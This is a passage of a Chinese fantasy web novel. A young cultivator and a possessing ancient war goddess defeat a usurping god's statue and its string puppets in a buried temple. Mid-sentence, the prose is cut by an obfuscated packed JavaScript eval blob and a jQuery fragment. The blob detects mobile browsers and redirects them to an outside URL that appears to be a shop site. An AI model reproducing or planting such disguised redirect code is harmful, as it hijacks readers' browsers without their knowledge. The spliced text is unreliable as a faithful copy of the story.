难缠。
这纯白牵丝傀儡比方才的空壳瓷罐子难缠的多,所幸它们现在还没有动起手来,尚不知深浅。
跃沉冷着脸,收了骨鞭,去望姜庆临和陈鹂。
牵丝傀儡慢慢迈腿,格格声顿挫。循着关节处系的丝线望去,正是那男神相的手指间银光闪烁,控制着两个傀儡。
银光一动,跃沉警惕地向后撤去。果然一刀劈下,他方才站的地面生生裂开一道缝。
跃沉身后没地方让他再撤,他也不能一直往后退。稳住身形后,他横过玉骨在身前,罡风撕裂空周遭空气,撕出一片寂静。
玉骨杠上傀儡手中的刀,金石铮铮作响,两边居然打个平手,谁都没占到便宜。
跃沉趁其不备,将玉骨掷出,玉骨在空中划过弧线,光芒流动,一镖削去男神相的一根食指。
沉重的雕塑砰然坠地。失去了神光庇佑,那根食指成了一块僵冷的石头,和供案上摆放的女神相的肢体般无二致。
男神相第一次有了表情。而且不光是脸上的眼睛有怒意,步摇冠上满缀的和手心里的眼睛都是流泻奔涌的愤怒。
跃沉收手握住回旋的玉镖,自然不肯放过良机。手中暗暗调动法力,神纹金光闪动,蜿蜒缠上玉骨。正要汇聚到玉骨顶端时,金光骤然断开。
他的法力不够了。
跃沉瞳孔急缩,心脏本就发热,此时紧张得搏动更缓。
正在这千钧一发的关头,曲增明居然直起上半身,缓缓坐起来了。她的眼睛怪得很,仿佛凭空替换了另一个人的眼睛。
是不同以往的金色瞳孔,动作僵硬,怪异又不协调。
三人怔然看向她。
两个牵丝傀儡已经够他们喝一壶了,若是曲增明的身体也被那男神尊夺舍,恐怕这流沙下埋藏的地庙就成了三人的葬身之地!
她金色的目光里还有些茫然和澄澈,信手伸出去,右手却碰到了什么东西——她低头下去,金色瞳孔紧缩——女神的头颅。
她的动作卡顿了,抬手摸着那石塑一锉刀一锉刀凿出来的头颅。
石塑里封着万年前她的头颅。
“曲增明”从供案上翻身下来,满目愤怒和血性。
身后女神的肢体横陈供案前,她猛然转身,劈手夺起那两把三叉戟。
那对三叉戟怕是几千几万年没人摸过了,落在灰堆儿中,沉没在层层流沙下。
可神器就是神器,海枯石烂也忘不了主。她拿起那一瞬间,两把三叉戟顿时光洁如新,尖端锐利,金光闪闪,宝石夺目,压过满殿烛火。
“曲增明”扯下黑纱外衣,露出朱红色绣裙,皮革箭袖紧锢,焕然仿佛换了个人。
“她不是曲增明。”
姜庆临斩钉截铁地说。陈鹂也点头,低声道:“阿明绝不会脱了那身黑纱……”
她看看被生生砍掉一根手指的男神相,又看看三人,最后视线落在跃沉身上。
三人屏住呼吸不敢说话。
式陵觉得边上那人的气息很熟悉,仿佛是很早很早就有这么一抹很淡的印记,在她身边很久,是她曾经见过的。
她心中微动,这是多少年风水轮流转?她的庙里不仅满眼灰尘,而且什么腌臜东西都敢进来了。
三叉戟的光亮终于扰动了男神相手中的傀儡。
男神相手指微顿,手心的眼睛瞪出了红血丝,牵引着傀儡靠近式陵。
式陵嫌弃借来的这具身体太弱了,怕是有很多神术施展不开。不过……那个人似乎可以和她一起。
她不知道为什么自己会天然地对那个人类模样的少年感到信任,只是觉得他们似乎有些共通之处。
“要……一起吗?”式陵歪头,语言还有些生涩,口音也怪。
但是跃沉觉得很熟悉很亲切。
建木老妖从前在昆仑山讲上古文字时,就用这种口音。不少昆仑山的老资历,也是一口上古口音。
跃沉平日不学无术,认不出上古神明,但是不妨碍两人一拍即合。
他望向式陵,点头答应。
式陵环顾四周,信手将那三叉戟插进地里。
姜庆临和陈鹂颇有不解,只有跃沉愣了几秒,大为惊愕。
那三叉戟仿佛附灵一般,游走自如,在地面刻下深深一层痕迹。两把三叉戟汇合在她脚边,被她收回手中。
地面的纹路霎时金光大作。
那不是一般的符咒,而是送灵符。
这东西和锁灵符很像,某种程度上讲,其实差不多是一回事。只不过锁灵符是需要用时触发,而送灵符在其范围内可以自由送出法力。
不过锁灵符尚有限度,存多少用多少,送灵符可不敢给画的大了。
因为这符咒借起法力来毫不吝惜,大有排山倒海之势,想借多少全看这送灵符能有多大容量。所以送灵符多数画的比锁灵符还小。
如今她画的这道送灵符,是在地面刻下的,用的符纸载体是整座神庙。
意思是,整座神庙的法力都能借给跃沉。
跃沉覆手触上金纹,被法力灌了个猝不及防。
上古神力比他修习的柔和神力汹涌的多,实打实的杀意和凌厉冲上来,攒满万年的滴水穿石,也能汇成大江大河,冲刷他的经脉心血,肆虐游走。
心脏再次发热,最先感受到的是杀意——但不属于他。
跃沉恍惚了一下。借了式陵的神力的缘故,眼前模模糊糊出现些不属于他的记忆画面。
他不敢确定那是不是记忆。
男人跪在上首女神的脚边,俯身虔诚地叩首,恨不得把四肢都揉进地砖里,把额头磕烂。
他只求个属神的名分,不求受人称颂、享用贡品、为护一方,只求沾点香火,留存神体。
没有位置了。女神拒绝他。
画面断掉,眼前乱极了,晃来晃去,终于定格在清晰的一帧——男人跪在另一个神面前。
那神看不见脸,只能看见一只戴着鸟骨腕钏的手,抚摸他的头顶。
手心有一只眼睛。
又定格住一帧。
三叉戟的锐光指着男人,他伸出手,磅礴的力量轻易扼住女神的喉咙。他的手心贴着女神的脖颈,看不见全貌。
但是跃沉就是知道,那里一定会有眼睛。
金纹如藤蔓将玉骨再次满绕,刺眼又夺目,缠裹一切又吞噬一切。玉骨化作剑形,被跃沉翻手狠狠刺入牵丝傀儡的眼睛。
红色的眼球爆开,流泻下黑雾,才触及金光就被狠狠撕碎,搅散四溢。
式陵用不出神术,但能用那对三叉戟。只听“玎玎”两声,就扎在了另一个傀儡小腿处。纯白色崩裂了,伤口处也溢出黑雾。
两个纯白傀儡摇晃,跌倒在地,丝线脱落,男神相控制不住它们了。
尽管是万年老神庙了,式陵的送灵符法力仍滔滔不断,可见当时信徒有多么广泛,香火有多么鼎盛。
跃沉的玉骨再次爆发出明亮的金光,连带着壁画的纹路也闪闪烁烁,露出灰尘中的本色来。
满殿的原壁画顿时描上了流动的金,男神相表面那层粉饰太平的妆刻如同无物,被式陵和神庙的共鸣掀开,向世人展出血淋淋的真相。
流沙下的这神庙,本就是式陵的。
古神时代掌管愤怒的女武神。
壁画重新现世,那女神本应端坐主位,三叉戟锐利,指向那个模糊一团、镶满眼球
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245030|197859||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的怪物。
男神相坐不下去了,睁开双眼,步摇冠上的眼球们也都滴溜乱转。
他在此处冒充庙主也正经有些日子了,可是后来他处理不好信徒的祈愿,神庙也慢慢沉寂下来。
再后来流沙蔓延,天地改换,众神伏诛,大战不休,血流成海,尸堆成山。
他也只能眼睁睁看着神庙陷入地下,他端坐神龛里,却也不见天日。
坐在那莲花座上能成神,可是天塌了也是神仙扛着——这就是所谓代价。
他是偷来的名位,更逃不掉。
此后外界任凭天翻地覆,他都一无所知,直到……近年,那个教他弑神法子的神再次找上他。
多年不修习武功,他应对跃沉的玉剑时格外狼狈。眼球被逐个扎破,黑雾却逃不出送灵符划定的界限。
男神相被锁死在神龛范围里,当年最想得到的东西如今紧紧束缚他,不让他逃离。莲花座认主,千万年都不服他。
步摇头冠快速失去生机,变成一颗一颗死气沉沉的干瘪眼球,丑陋难言。
式陵跳上神龛,紧握着三叉戟抵上巨大神相的眼睛,问他道:
“你叫什么名字?”
他忽然感到泄气。当年殿上羞辱,归来后又种种折磨……换做是他,早已刻骨铭心,可原来在古神心中,不过是个窃位鼠辈,名姓原来不值一提吗?
当年固有差距,如今他窃来莲花神座,假模假样端坐万年,丑事做尽。差距却依然横亘在目,像一条丑陋的、歪歪扭扭的伤疤。
这一道钝伤,流血流脓,痛了他上千年。从跪下求人开始,再到担惊受怕坐在上首,无时无刻不痛。
可是……可是凭什么,他就这般狼狈不堪?
凭什么呢?
不等他多想,跃沉翻手拨动玉剑,一跃而起。
那一剑斩出一个金红的圆,炽热明亮,扎人视线。剑芒宛如长虹,击天穿地,连下方的悬崖都照的透彻,准确贯入那神相的眉心。
在地面的姜庆临和陈鹂的视角看,那一剑完美极了。
这一剑掀起飞沙走石,撕裂阴阳和虚空,割裂光和声,震得神庙穹顶隆隆作响。嘈杂声纷乱,碎石打在他的神相和身旁一列属神身上。
巨神轰然倒塌。
眼球石化,骨碌满地,被送灵符阵的金光融散。
绳桥一路崩塌,分股爆裂,金光耀目刺眼,风浪掀翻三人。
跃沉收回玉骨,跌落在地。
等他再睁眼时,姜庆临已经醒了。
他有些茫然,望向神龛的方向。
那莲花座重新易主,手持三叉戟的女神露出真容,坐于其上,生动鲜活。头顶花冠缠绕生出莲花,清芬满室。
这古神时代的神庙似乎也随之而活了。
送灵符咒金光不减,源源不断冲刷整个神庙。光景焕然一新,庄严如初。式陵重新将神庙收拢,或者说,她从未离开过。
女武神不会离开她的属地。
“后生,现在太一天帝还在否?”式陵问跃沉。
跃沉觉得还是装傻为妙,他也确实不太知道古神时代的那堆打来打去的陈芝麻烂谷子,遂回道:“不知上神所谓是何人,如今万神首领乃是西王母,居于昆仑瑶台。”
式陵微顿,点头,目光放远,有些悠长。
“多谢相助。情急借这位女修士的身体一用,回去静养,不会有事。”
姜庆临和陈鹂头一次见到上古时代的神庙,居然还是显灵的神明,难免有些激动。不过两人一边一个搀扶着曲增明,倒是不忘朋友。
式陵抬手,托掌风便将三人送出了神庙,留下最后一句话——
“有缘再相会。”